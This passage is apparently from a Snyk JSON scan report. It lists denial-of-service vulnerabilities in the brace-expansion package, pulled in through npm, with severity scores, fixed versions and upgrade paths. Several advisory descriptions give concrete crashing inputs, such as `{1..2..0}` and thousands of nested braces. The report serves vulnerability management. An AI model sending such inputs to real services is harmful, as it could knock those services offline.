"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
